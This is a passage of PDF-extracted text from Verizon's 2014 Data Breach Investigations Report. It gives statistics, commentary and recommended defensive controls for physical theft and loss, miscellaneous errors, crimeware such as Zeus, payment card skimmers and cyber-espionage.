kind of mandatory reporting/disclosure requirement. The asset went missing, was determined to contain regulated information that is now exposed to potential unauthorized access, and therefore had to be reported. This explains the predominance of regulated data like personal or identifying information and medical records in Figure 42.RECOMMENDED CONTROLS The primary root cause of incidents in this pattern is carelessness of one degree or another. Accidents happen. People lose stuff. People steal stuff. And that’s never going to change. But there are a few things you can do to mitigate that risk. Encrypt devices Considering the high frequency of lost assets, encryption is as close to a no-brainer solution as it gets for this incident pattern. Sure, the asset is still missing, but at least it will save a lot of worry, embarrassment, and potential lawsuits by simply being able to say the information within it was protected. Also, periodically checking to ensure encryption is still active is right up there too. This will come in handy when the auditor or regulator asks that dreaded question: “How do you know for sure it was encrypted?” Keep it with you Encourage employees to keep sensitive devices in their possession and in sight at all times. Y es, this applies to fancy client dinners and visits to the restroom. i t’s not a bad principle to apply to mobile devices in a corporate setting either. i t may be awkward, but it’s safer than leaving it in the car or unattended in a room full of strangers. i f it absolutely must be left in the car, lock it in the trunk before you leave the office and don’t leave it there overnight. Back it up Regular (and preferably automatic) backups serve a threefold purpose. They salvage weeks/months/years’ worth of irrecoverable work, get you productive again on a new device with minimal down time, and help establish what data was on the device to determine if disclosure is necessary. Lock it down in light of the evidence that so many thefts occur in the office, cabling or otherwise securing equipment to immo vable fixtures should at least be considered. The big caveat, however, is that the majority of such thefts were documents taken from the filing cabinet and mobile devices (including laptops). A more effective strategy would be to move highly sensitive or valuable assets to a separate, secure area and make sure they stay there. BONUS - Use unappealing tech Y es, it’s unorthodox as far as recommendations go, but it might actually be an effective theft deterrent (though it will probably increase loss frequency). That shiny new MacBook Air on the passenger seat may be too tempting for anyone to resist, but only those truly dedicated crooks will risk incarceration for a 4” thick mid-90s lap brick. Or, if being the fastest hunk of junk in the galaxy is a must, perhaps there’s a lucrative aftermarket for clunky laptop covers. She may not look like much, but she’s got it where it counts, kid.Figure 42. Variety of at-risk data within Theft/Loss (n=3,824) Personal Medical Payment Internal Bank Classified Credentials Unknown Secrets Other21 205 5 4 313,393 508 23Figure 41. Vector of physical access within Theft/Loss (n=158) Disabled controls Bypassed controls Privileged access Uncontrolled location60% 26% 11% 3%PHYS iCAL THEFT AND LOSS 28 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEMISCELLANEOUS ERRORS Nearly every incident involves some element of human error. For example, failing to apply a WordPress patch certainly leaves the application vulnerable to attack, but it doesn’t directly compromise the system. Some other threat actor/action is required to do that. Without drawing that distinction, this category would be so bloated with “incidents” that it would be difficult to extract useful information. i t’s also worth noting that this pattern doesn’t include every incident in the Error category. Loss is a type of error, but we grouped it with theft (under Physical) in a different pattern because they share certain similarities (you no longer possess the device) and because it’s often difficult to determine loss vs. theft. Please keep this in mind as you view the top actions and assets in this section.Misdelivery (sending paper documents or emails to the wrong recipient) is the most frequently seen error resulting in data disclosure. There are only two difficult problems in computer science: cache invalidation, naming things, and off-by-one errors. Misdelivery (sending paper documents or emails to the wrong recipient) is the most frequently seen error resulting in data disclosure. One of the more common examples is a mass mailing where the documents and envelopes are out of sync (off-by-one) and sensitive documents are sent to the wrong recipient. A mundane blunder, yes, but one that very often exposes data to unauthorized parties.Misdelivery Publishing error Disposal error Misconfiguration Malfunction Programming error Gaffe Omission Other Maintenance error6% 3% 3% 1% 1% 1% <1%44% 22% 20%Figure 43. Top 10 threat action varieties within Miscellaneous Errors (n=558)AT A GLANCE Description incidents where unintentional actions directly compromised a security attribute of an information asset. This does not include lost devices, which is grouped with theft instead. Top industriesPublic, Administrative, Healthcare Frequency16,554 total incidents12 412 with confirmed data disclosure Key findings After scrutinizing 16K incidents, we’ve made a startling discovery — people screw up sometimes. (Nobel Prize, here we come!) The data seems to suggest that highly repetitive and mundane business processes involving sensitive info are particularly error prone. i t’s also noteworthy that this pattern contains more incidents caused by business partners than any other. Documents (media) Web application (server) Desktop (user dev) File (server) Database (server) Other (server) Mail (server) Disk media (media) Disk drive (media) Other (media)5% 5% 4% 3% 1%1%7%9%14% 49%Figure 44. Top 10 assets affected within Miscellaneous Errors (n=546)MiSCELLANEOUS ERRORS 29 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEOxford Dictionaries declared that “selfie” was 2013’s word of the year,13 but did you know that posting content to the web and later regretting it was a meme in the corporate world too? That’s right, the second most frequent error variety is publishing errors, which often involve accidentally posting non-public information to a public resource, such as the company web server. That’s why web application takes the number two spot on the affected assets chart (Figure 44). Rounding out the top three in this category is disposal error, where the affected asset is thrown away without being shredded or, in the case of digital media, properly cleared of sensitive data. Who’s making all these mistakes? Well, it’s almost entirely insiders, of course. End-users, sysadmins, and developers lead the pack when it comes to mucking things up, though pretty much all of us are guilty. Who’s making all these mistakes? Well, it’s almost entirely insiders, of course. End-users, sysadmins, and developers lead the pack when it comes to mucking things up, though pretty much all of us are guilty. But the interesting thing is that there’s quite a large number of incidents (70) caused by partner errors – more than any other pattern.Organizations only discover their own mistakes about one-third of the time. Otherwise, an external entity makes them aware of the incident, and most frequently it’s the organization’s own customers. Y ou could try the “ i nconceivable!” tactic when a customer calls to say they found their unprotected personal data on your website — but if you keep using that word, they’ll figure out it doesn’t mean what you think it means. GOVERNMENT MISDELIVERY According to our sample, government organizations frequently deliver non-public information to the wrong recipient; so much so, in fact, that we had to remove it from Figure 43 so that you could see the other error varieties. Why is that number so large? The United States federal government is the largest employer in that country, and maintains a massive volume of data on both its employees and constituents, so one can expect a high number of misdelivery incidents. Public data laws and mandatory reporting of security incidents also cover government agencies. Since we have more visibility into government mistakes, it creates the impression that government mistakes happen more frequently than everyone else’s, which may not be the case. This is not unlike the way we see higher numbers of overall breaches in U.S. states that have had disclosure laws on the books the longest. Case in point: even with government misdelivery removed from the results, misdelivery still dominates the list of errors resulting in exposed data. Hours Days Weeks Months Years NeverSecondsDiscovery n=127 Containment n=55 Minutes3% 9% 10% 17% 6% 8% 0%6% 4% 38% 27% 13% 6% 2% 6%47%Figure 45. Discovery and containment timeline within Miscellaneous Errors Ext-customer Ext-unrelated party Int-reported by user Other Int-unknown Int-IT audit Ext-law enforcement Ext-actor disclosure Ext-audit Int-log review30% 25% 5% 3% 2% 2% 1%1%Total External Total Internal 68% 12%32% 18%Figure 46. Top 10 discovery methods for Miscellaneous Error incidents (n=148)MiSCELLANEOUS ERRORS 30 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERECOMMENDED CONTROLS Bob Ross, everyone’s favorite painter of fluffy little clouds, once said, “We don’t make mistakes, we just have happy accidents. ” Even still, organizations can take steps to decrease the frequency of all manner of accidents by reducing their exposure to the common error patterns that result in data disclosure. Keep it on the DLP Consider implementing Data Loss Prevention (DLP) software to reduce instances of sensitive documents sent by email. DLP can identify information that follows a common format, such as credit card numbers, social security numbers, or medical billing codes. Check out the pub Decrease the frequency of publishing errors by tightening up processes around posting documents to internal and external sites. For example, have a second reviewer approve anything getting posted to company servers, develop processes to regularly scan public web pages for non-public data, and implement a blanket prohibition against storing un-redacted documents on a file server that also has a web server running. i t’s amazing how easy it is for a spreadsheet to migrate over to the htmldocs folder. Make sure there’s a process to test the security controls after a change — we’ve often seen a failure to put controls back in place result in a publishing breach. Nail the snail mail fail whale Say that three times really fast. When sending large postal mailings (also prone to error at higher speed and repetition), spot-check a sample to ensure that the information in the document matches the name on the envelope. Watch out for window envelopes too – sometimes that window might be too big or your content might not be centered properly, allowing sensitive information to show through. A lot of these incidents could have been prevented if someone had popped a few envelopes off the stack and inspected them before they went in the mail. IT don’t make trash iT burns it. Any disposal or sale of information assets should be coordinated b y the i T department. Educate users to think of disposing of a computer the same way they think of disposing of hazardous materials. “Y ou can’t just throw that in the trash (or sell it on eBay)! Send it to i T for proper handling. ” Test the disposal process by sampling devices to verify they’ve been sanitized properly. i f a third-party handles this, ensure that contracts stipulate how to transfer, store, and dispose of data, along with roles, responsibilities, verification, and penalties for non-compliance.IMPRISONED RESPONSE: THE FUTURE OF IR? An example from the VCDB shows how bad things can get when document disposal goes wrong. A medical center arranged to have a vendor pick up documents and shred them prior to disposal. Apparently, an actual “pickup” truck was used, because the files ended up all over the roadside instead. “ i t looked like a blizzard of white paper had struck the area, ” according to one witness. These were old medical records with all manner of protected information. When people found them and called law enforcement, an inmate crew doing regular trash pickup in the area was sent to retrieve these sensitive documents. And that’s the sound of the men working on the “cha-ching” gang. MiSCELLANEOUS ERRORS 31 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSECRIMEWARE Many incidents in this section come from our CS iRT partners, reflecting a roll-up across many victim organizations. The level of detail tends to be lower because there was no forensic investigation or similar in-depth analysis (or the report wasn’t provided to the CS i RT), leaving VER i S metrics a bit sparse. But the high number of incidents still offers some insight into day-to-day malware infections where the victim’s anti-virus (AV) and intrusion prevention system ( i PS) shields could not repel firepower of that magnitude. As expected, this incident pattern consists mainly of opportunistic infections tied to organized criminals with some kind of direct or indirect financial motive (hence the title “crimeware”). Once malicious code has acquired a level of access and control of a device, the myriad possibilities to make a buck are opened up for the attacker. i n not-so-shocking news, Zeus continues to be a favorite way to make a buck with crimeware in 2013 (see sidebar for more detail). Zeus and its offspring, Citadel, primarily focus on stealing money via bank account takeovers, though they can also be used for other functions. Zitmo (“Zeus in the Mobile”) also shows up in the data. 14 This one primarily targets Android and Blackberry mobile devices for similar purposes. While Zeus serves as an example of crimeware families reported all around the world, others had a more localized presence. Nitol, for instance, was quite common among incidents reported to MyCERT of Cybersecurity Malaysia, but we have no instances of it infecting systems outside Asia. Nitol allows backdoor access and frequently causes infected systems to participate in DDoS attacks. Expanding online markets, where specialists offer cybercrime- as-a-service, became a growing trend in 2013. A good example in the Netherlands was the wave of DDoS attacks on banks and specific institutions since March, 2013. So-called “booter websites” have made this type of attack available to literally anyone who wants to attack a company or institution. Naturally, a host of other malware families made appearances last year, but these two stood out to us as worthy of a brief mention.AT A GLANCE Description Any malware incident that did not fit other patterns like espionage or point-of-sale attacks. We labeled this pattern “crimeware” because the moniker accurately describes a common theme among such incidents. i n reality, the pattern covers a broad swath of incidents involving malware of varied types and purposes. Top industriesPublic, information, Utilities, Manufacturing Frequency12,535 total incidents 50 with confirmed data disclosure Key findings The primary goal is to gain control of systems as a platform for illicit uses like stealing credentials, DDoS attacks, spamming, etc. Web downloads and drive-bys are the most common infection vectors. ZEUS Zeus (sometimes called “Zbot”) is sort of the cockroach of malware. i t has managed to survive and even thrive despite many attempts to eradicate it. i nternational arrests and the supposed retirement of the original author have not slowed it down, and once the source code behind it was published, other programmers could modify and extend Zeus for their own purposes, including evading antivirus software. i n fact, Citadel started off as a variant of Zeus but has evolved substantially. Zeus can be used to install other malware but often grabs login and banking credentials from within browsers. Despite the efforts of many, it has continued to elude the good guys that are trying to shut it down.Figure 47. Top 10 threat action varieties within Crimeware (n=2,274) C2 Unknown Spyware/keylogger Downloader Spam Client-side attack Backdoor DoS Adware Export data10% 9% 6% 4% 4% 2% 1%86% 24% 13%CRiMEWARE 32 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEVictims don’t always report malware functionality, but when they do, they prefer C2 (according to the most interesting CS i RTs in the world, at least). This makes perfect sense, as the goal is to achieve and maintain control of a device to command it to do your bidding. Whether the little compromised minions are participating in a spam botnet, stealing banking credentials, or hijacking a browser to artificially boost ad revenue, there are numerous ways to leverage compromised workstations that don’t entail deeper penetration into a network. The majority of crimeware incidents start via web activity — downloads or drive-by infections from exploit kits and the like — rather than links or attachments in email. 15 Adware still shows up, though Bonzi Buddy thankfully remains extinct. For malware with a social engineering component, both scams and phishing play important roles 16 infected assets usually weren’t identified, but interestingly, those that w ere reported more servers than user devices. Wow. So vectors. Much families. Many incident. Crimeware incidents are light on timeline and discovery details because the response is often to just wipe the system and get it back to work (remember, this pattern comprises a lot of one-off infections that don’t fit other patterns). When known, notification by unrelated third parties (namely CS i RTs) were by far the most common way victims learned of the incident. Like us, your first reaction might be “why not technologies like i DS and AV?” This reflects the role of CS i RTs as the primary provider of crimeware incidents in this dataset. The discovery method wasn’t known for 99% of incidents; it’s not usually within their visibility or responsibility. For all we know, CS i RTs only saw the 1% not discovered by AV or i DS. The discovery timeline in Figure 52 hints that this might, in fact, be the case. Notice the difference in N between Figure 51 and Figure 52 and how many infections are discovered within seconds — only automated detection methods would be so quick.Figure 48. Top 10 vectors for malware actions within Crimeware (n=337) Web drive-by Web download Network propagation Email attachment Email link Download by malware Other Remote injection Unknown Removable media 5% 4% 2% 2% 1%1% 1%43% 38% 6% Figure 49. Variety of at-risk data within Crimeware (n=73) Credentials Bank Payment Personal Unknown Internal Secrets71%82% 14% 4% 4% 3% 1%Figure 50. Top 10 assets affected within Crimeware (n=1,557) Other (server) Other (user dev) Web application (server) Mail (server) Other (people) Desktop (user dev) Unknown Laptop (user dev) End-user (people) Mobile phone (user dev)43% 13%19% 10% 7% 3% <1% <1%<1%14% Figure 51. External vs. internal discovery methods within Crimeware (n=183) External discovery Internal discovery84% 16% Figure 52. Discovery timeline within Crimeware (n=1,017) Seconds Minutes Hours Days Weeks Months Years32% 7% 8% 4% <0.1%22%28%CRiMEWARE 33 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERECOMMENDED CONTROLS These results led us to develop some specific recommendations to help keep incidents of crimeware down. The natural question to ask is “what happened to antivirus?” AV technologies play an important role in catching many types of commodity malware and preventing compromise in the first place. So this pattern reflects a reverse sort of “survivorship bias” in which we look primarily at the sorts of things AV does not do as well — or organizations that don’t do AV particularly well. Nitol, in particular, infected many systems at the factory before shipping and likely before users or administrators had deployed any sort of AV. The Zeus and Citadel family has a well-deserved reputation for evolving quickly to evade signature-based detection of the sort used by many AV products. Keep browsers up to date Zeus frequently uses a technique called “man in the browser” that involves using browser vulnerabilities and add-on functions. Keeping browsers and plugins secure will go a long way toward reducing the impact of this sort of incident. Apply browser patches as quickly as software producers make them available. Disable Java in the browser Legacy apps may complicate this, but if possible, avoid using Java browser plugins, given the difficulty in sandboxing content and the history of vulnerabilities here. Use two-factor authentication Our results link crimeware to stolen credentials more often than any other type of data. This points to the key role of crimeware when the attack objective is to gain access to user accounts. Two-factor authentication won’t prevent the theft of credentials, but it will go a long way toward preventing the fraudulent re-use of those credentials. Change is good…except when it isn’t Consider how best to deploy system configuration change monitoring. Unlike iocane powder, many of the vectors and persistence methods used by crimeware can be easily detected by watching key indicators on systems. This goes to the general theme of improving detection and response rather than solely focusing on prevention. Leverage threat feeds Given the high incidence of C2 communications, using feeds of threat data that identify i P addresses and domain names used to control botnets, then matching this data against firewall or proxy logs can help accelerate detection and thus containment. We generally don’t recommend using these lists for outright blocking due to possible operational issues. But malware researchers do a fine job of implementing sinkholes and reverse-engineering malware quickly to identify infrastructure used by the bad guys.A YEAR IN THE LIFE OF THE POLISH CERT By the CERT Polska/NASKThe i nternet threat landscape in Poland is largely defined by banking Trojans — crimeware aimed at stealing users’ online banking credentials. These use a combination of social engineering and software vulnerabilities to gain access to a user’s computer, and subsequently to their bank account. Whenever new financial malware or attack methods surface, Polish users are often among the first hit. 2013 also saw numerous financial malware botnets using Polish i nternet properties for C2 purposes (including .pl ccTLD domain names). Over 20 such botnets were taken over or disrupted by CERT Polska. The attacker’s tool of choice is a variety of web-inject malware (with Zeus/Citadel being the most popular malware family), which infects a user’s machine, and then injects code into the browser whenever that user visits a banking site deemed of interest (a “Man-in-the-Browser” attack). A common theme is the use of social engineering techniques to obtain credentials. For example, attempts are made to install one-time password stealers to intercept mobile transaction authentication numbers (mTANs) used by banks to authenticate transactions. i n such cases, a user is prompted to provide his mobile number, supposedly to install a new security certificate designed by the bank on his smartphone – but what, in reality, is malware used to intercept and redirect text messages to the attacker. Cruder methods to subvert two-factor authentication are also employed: fictitious bank messages are injected, notifying the recipient of an erroneous bank transfer and asking for the money to be returned - to an attacker’s account. Real world events are often exploited: a recent brand merger involving the largest Polish online bank resulted in attacks forcing users to redefine lists of permanent transfers – redirecting them to an attacker’s bank numbers – under the auspices of changes resulting from the merger. However, it’s not just web-inject malware at work: other tricks observed in 2013 include malware that switches bank account numbers to those of the attacker during a copy/paste operation in Microsoft Windows. i t’s not always about malware either: late 2013 saw large scale attacks against home routers, which had their DNS server settings subsequently reconfigured to point at rogue DNS servers. These were then used to perform Man-in-the-Middle attacks through a series of proxies, subverting SSL and two-factor authentication mechanisms by using social engineering methods similar to those described above.CRiMEWARE 34 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEPA YMENT CARD SKIMMERS For a wide array of criminals ranging from highly organized crime rings to garden variety ne’er-do-wells who are turning out no good just like their mama warned them they would, skimming continues to flourish as a relatively easy way to “get rich quick. ” While most incidents are linked to Eastern European actors, nearly all victims of payment card skimmers in this report are U.S. organizations (the U.S. Secret Service and public disclosures being the primary sources for this data). While some don’t think we should include this type of attack in the DB i R, we can’t justify excluding a tried-and-true method used by criminals to steal payment card information. i n 2013, most skimming occurred on ATMs (87%) and gas pumps (9%) due to the relative ease with which they can be approached and tampered with. Gas pump skimmers are often installed by a small group of people acting in concert. One scenario involves one or more conspirators going into the station to make a purchase and distract the cashier’s attention, while a partner in crime plants the device inside the machine using a universal key. ATM skimmers, on the other hand, are installed on the outside of the machine. While some ATM skimming devices are clunky homemade affairs that might afford an opportunity for observant customers to spot them, the design of many skimmers (both those created by the criminal and those purchased “off the shelf”) can be so realistic in appearance that they are virtually invisible to the end user. i n most cases they can be snapped in place in a matter of seconds and can be produced in sufficient quantities to make the attacks scalable and highly organized. This, however, has been the norm for some time and warrants only a cursory mention in this report. What has changed over time, however, are the methods by which the data is retrieved by the criminals.AT A GLANCE Description All incidents in which a skimming device was physically implanted (tampering) on an asset that reads magnetic stripe data from a payment card (e.g., ATMs, gas pumps, POS terminals, etc.). Top industriesFinance, Retail Frequency130 total incidents17 130 with confirmed data disclosure Key findings There’s not a ton of variation in this pattern at the VER iS level: criminal groups install skimmers on A TMs (most common) and other card swipe devices. On a more qualitative level, the skimmers are getting more realistic in appearance and more efficient at exporting data through the use of Bluetooth, cellular transmission, etc. Figure 53. Origin of external actors within Card Skimmers (n=40) Bosnia and Herzegovina Iran, Islamic Republic ofCuba Mexico Nigeria2% 2% 2%2% 2%Bulgaria Armenia BrazilRomania United States38% 18% 8%18% 8%Figure 54. Assets affected within Card Skimmers (n=537) ATM (terminal) Gas terminal (terminal) Access reader (network) PED pad (terminal) POS terminal (user dev) Backup (server) Database (server) Mail (server) Mainframe (server) Proxy (server)2% 2% 1% 1% 1% 1%1%87% 9% 2%PA YMENT CARD SK i MMERS 35 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEin the past it was necessary for the criminal to return to the scene and physically remo ve the device in order to collect the stolen data. While we continue to see this, it’s normally indicative of the less organized and more small time crooks out to “make some sweet moolah with Uncle Rico. ” They’re often apprehended when retrieving the skimmed card data. i n keeping with what we find with network-based attacks, the successful criminal is the one who can maintain a safe distance between themselves and the target. Therefore, the more highly skilled criminals now collect data via Bluetooth or S i M cards with remote caching and tampering alerts. Some devices actually send an SMS alert to the criminal each time the ATM is used. With subterfuge and fraud being the objectives behind skimming, it’s not surprising that it’s most commonly detected by a third party. Most of the time that third party is a payment card company or a customer who has noticed fraudulent activity. Other times it’s a phone call from a law enforcement agency after they’ve arrested a gang with a trunk full of skimming devices and white plastic cards. Hanging close to that pack of external discovery methods are internal users who spot tampering and report it to management. Way to go, folks. As skimmers become more difficult to detect visually, however, we can’t help but wonder if this latter scenario will become increasingly rare.Figure 55. Discovery methods within Card Skimmers (n=42) Total External Total Internal Ext - fraud detection Ext - law enforcement Ext - customer Int - reported by user Ext - unrelated party Int - fraud detection24% 26% 21% 17% 17% 12% 7%76%EVOLUTION OF SKIMMING Like any technology, the tendency is to develop from bulky and slow toward streamlined and efficient. Skimming devices are no different. Many people still think of the traditional skimmer as the classic wedge – the small hand-held skimmer typically used by waitstaff to illicitly obtain mag stripe data while they had the card away from the customer. Because they were so easy to use, they became the stock-in-trade for most criminals for a long time. On the flip side, it was often relatively easy for the good guys to pinpoint the culprit after the fraud had transpired. Common Point of Purchase (CPP) algorithms could be used to determine the restaurant responsible for the fraudulent charges. When law enforcement arrived at the restaurant they could obtain access to the receipts, and with relative ease determine that the same waiter/waitress served all the victims. The individual would then be interviewed and…well, you know the rest. Fast-forward to the year 2000, when the first gas pump skimmer was found at a gas station in California. The skimmer was placed inside the pump, and (since it only captured track information) the criminals set up a wireless video camera 300 yards away in a weatherproof case. i n this particular instance, the camera was discovered and unplugged by an investigator. Within minutes, the bad guys showed up at the gas station to see what went wrong, and were promptly taken into custody. Eventually the risk of discovery during retrieval became too great, so more criminals started manufacturing skimmers and selling them online. This new wave of devices was Bluetooth equipped, which allowed someone to download the track and P i N data from the safety of the parking lot. i t’s now possible to buy online skimming devices with built-in S i M cards that allow for remote configuration, remote uploading of data, and tampering alerts that, if triggered, will cache the data and send it out immediately, greatly reducing risk.PA YMENT CARD SK i MMERS 36 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERECOMMENDED CONTROLS Though some might argue, we find no obvious mistake or oversight on the part of organizations that allows skimming to succeed when it otherwise wouldn’t. But there are some things that can be done to make it harder for the criminal and shorten the window of exposure. FOR BUSINESSES Design (or buy) tamper-resistant terminals As the merchant, this probably isn’t something you can do yourself, but be aware that certain designs are more susceptible to skimming devices than others. Many modern ATMs are designed with this in mind; choose those if possible. Use tamper-evident controls Do things that make it obvious (or send an alert) when tampering occurs. This may be as simple as a sticker over the door of a gas pump or more sophisticated tactics like visual anomaly monitoring on ATMs. Watch for tampering Regularly check terminals for signs of unauthorized tampering. Also train employees to spot skimmers and recognize suspicious behavior from individuals trying to install them. i f a criminal is able to place a skimmer on one of your devices, these regular inspections will help curb the damage. FOR CONSUMERS Protect the PIN When entering your P iN, cover your hand to block tiny cameras that may be recording it. Y ou wouldn’t want a ne’er-do-well getting ahold of your P i N now, would you? Trust your gut if something looks out of the ordinary at your ATM or gas pump, something fishy may be afoot. While criminals are increasingly sly at designing difficult-to-detect skimmers, you still might be able to notice something amiss, especially if the terminal looks different than others around it. i f one of these things is not like the others, don’t swipe your card! See something, say something if something seems out of place to you at a payment terminal, don’t k eep it to yourself. Be sure to tell the merchant or bank that you may have found a skimmer. Not only will you be helping them, you’ll also be helping your fellow consumers.PA YMENT CARD SK i MMERS 37 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSECYBER-ESPIONAGE Comprehensive information about “cyber”19 espionage is really hard to come by. Organizations typically aren’t required to publicly disclose breaches of internal information and trade secrets, as they are with regulated consumer data. Additionally, there’s no fraud algorithm to alert victims about illicit use of such data, leaving many cases of espionage undiscovered. Most of what we know publicly about this genre of threat comes from incident responders, intelligence analysts, and malware researchers who compile and share their knowledge with the community. Thus, we’re excited to have quite a few contributors from these circles, whose information has more than tripled the number of espionage incidents in this year’s dataset, to 511. Before someone concludes we’re asserting a vast increase in espionage in 2013, we’re quite sure countless organizations have been consistently targeted for several years. i nstead, we attribute this increase primarily to our ever-expanding set of contributors conducting research in this area, along with more community information sharing that improves discovery capabilities. Like a streetlight illuminating cars parked along the street, more contributors allow us to see more cars. Unfortunately, we can also see that those cars have broken windows and stolen stereos.Figure 56. Number of incidents by victim industry and size within Cyber-espionage Industry Total Small Large Unknown Administrative [56] 2 1 1 0 Construction [23] 1 0 0 1 Education [61] 2 1 1 0 Finance [52] 3 0 2 1 Healthcare [62] 2 1 0 1 i nformation [51] 11 2 2 7 Management [55] 2 1 1 0 Manufacturing [31, 32,33] 81 5 17 59 Mining [21] 5 0 2 3 Professional [54] 114 11 5 98 Public [92] 133 20 19 94 Real Estate [53] 1 1 0 0 Retail [44, 45] 1 0 1 0 Transportation [48, 49] 5 1 3 1 Utilities [22] 8 0 1 7 Other [81] 5 5 0 0 Unknown 135 0 3 132 Total 511 49 58 404AT A GLANCE Description incidents in this pattern include unauthorized network or system access linked to state-affiliated actors and/or e xhibiting the motive of espionage. Top industriesProfessional, Transportation, Manufacturing, Mining, Public18 Frequency511 total incidents 306 with confirmed data disclosure Key findings Most surprising to us is the consistent, significant growth of incidents in the dataset. We knew it was pervasive, but it’s a little disconcerting when it triples last year’s already much-increased number. Espionage exhibits a wider variety of threat actions than any other pattern. The most evident changes from our last report include the rise of strategic web compromises and the broader geographic regions represented by both victims and actors. For more information on the NA iCS codes [shown above] visit: https://www .census.gov/cgi-bin/sssd/naics/naicsrch?chart=2012CYBER- ESP i ONAGE 38 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSETo set the tone, we need to understand the victims represented within the data. We don’t claim to cover all espionage activity in 2013 — quite far from it, actually. As is evident in Figure 57, the sample is still largely (over half) U.S. based, but not as exclusively as in previous years. We expect this to continue as more global organizations join the cause. We can’t help but wonder why we have no examples of i talian victims of espionage in our dataset. Our best hypothesis is that sophisticated actors remember the classic blunder of “go[ing] in against a Sicilian when death is on the line” when selecting targets (the most famous blunder, of course, is getting involved in a land war in Asia). i n addition to geographic broadening, we see a wide distribution of both sizes and types of victim organizations. Unfortunately, victim size is often not tracked, so there are a lot of unknowns here. i nsofar as we can determine from the data before us, however, size doesn’t seem to be a significant targeting factor. i ndustry, on the other hand, does: the Public, Professional, and Manufacturing sectors are more targeted by espionage than the rest of the field (which still runs a fairly wide gamut). There is little doubt that figures for the Public sector, which spans embassies, economic programs, military, and other support organizations, are boosted by our government contributors. There is also little doubt that they are a prime target for espionage. Victims within the Professional, Scientific, and Technical Services category typically deal with custom computer programming services, research and development, engineering and design, and legal practices. Many of these organizations are targeted because of the contracts and relationships they have with other organizations. For some, they can serve as both a valuable aggregation point for victim data and a trusted exfiltration point across several target organizations. Lastly, and not unexpected, Manufacturing industries are also targeted for their intellectual property, technology, and business processes. Attribution is also probabilistic in nature. Be wary of threat intelligence vendors claiming to be 100% sure an attack is X actor group from Y country with Z motives; they are “likely” incorrect. There are many methods for determining attribution — sometimes it’s following the breadcrumbs left by the actors. Other times it’s ruling out the alternatives using something like analysis of competing hypothesis. 20 None of these methods are perfect. i t’s important to carefully evaluate information to make sure one isn’t suffering from some type of cognitive bias. 21 it would be more helpful if probabilistic language like Sherman Kent’ s “Words of Estimative Probabilities”22 was used when describing attribution to particular countries, regions, and threat actors. With that in mind, the following would fall between “Probable” and “Almost Certain. ” As expected, most incidents in this category are attributed to state-affiliated actors. But the data also reminds us that organized criminal groups, competitors, and current 23 and former employees join in the game too. We also see that the longer game of espionage is not always the sole motive; it often exhibits a nearer-term, more direct financial element as well. An example would be a mercenary-style theft of source code or digital certificates contracted by a rival organization or other interested party.Figure 57. Victim country within Cyber-espionage (n=470) United States South Korea Japan Russian Federation Colombia Ukraine Vietnam Belarus Kazakhstan Philippines3% 2% 2% 1% 1% 1%1%54% 6% 4%Figure 58. Variety of external actors within 